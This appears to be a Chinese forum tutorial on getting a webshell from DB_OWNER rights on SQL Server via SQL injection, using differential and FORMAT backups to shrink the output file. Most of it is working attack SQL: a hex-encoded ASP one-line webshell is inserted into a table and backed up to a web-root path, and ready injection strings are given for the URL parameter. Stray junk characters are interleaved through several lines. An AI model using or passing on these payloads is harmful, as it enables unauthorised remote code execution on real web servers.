DB_OWNER权限得到webshell的改进方法

admin

减少备份文件大小，得到可执行的webshell成功率提高不少
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, K1 A! h2 k( c/ v$ F$ u一利用差异备份
1 w1 S) Y6 S$ e. g# Y加一个参数WITH DIFFERENTIAL
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: o) C; n8 B! k2 ?& }declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
1 d$ [- ]4 K9 A3 Bcreate table [dbo].[xiaolu] ([cmd] [image]);
; T" i& @6 R3 d: c5 T  Ainsert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
! v* u% ]& \2 j9 T9 t& M; Wdeclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH DIFFERENTIAL
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二利用完全FORMAT
加一个参数WITH FROMAT
  H8 _, K8 i- K; B% l7 f9 m有些页面对数据库要执行几次，而备份又默认是每次都以追加的方式，如果一个注入点对数据库有几次操作，而备份的文件就 几倍的增加，所以
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declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
) i7 b5 \, h) C- H/ F4 Ocreate table [dbo].[xiaolu] ([cmd] [image]); insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH FORMAT

总的来说就是那么简单几句,下面以备份数据库model为例子

/ @$ T3 B$ s1 a+ u& q9 G3 S2 Tid=1;use model create table cmd(str image);insert into cmd(str) values (”)
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id=1;backup database model to disk=’你的路径‘ with differential,format;–

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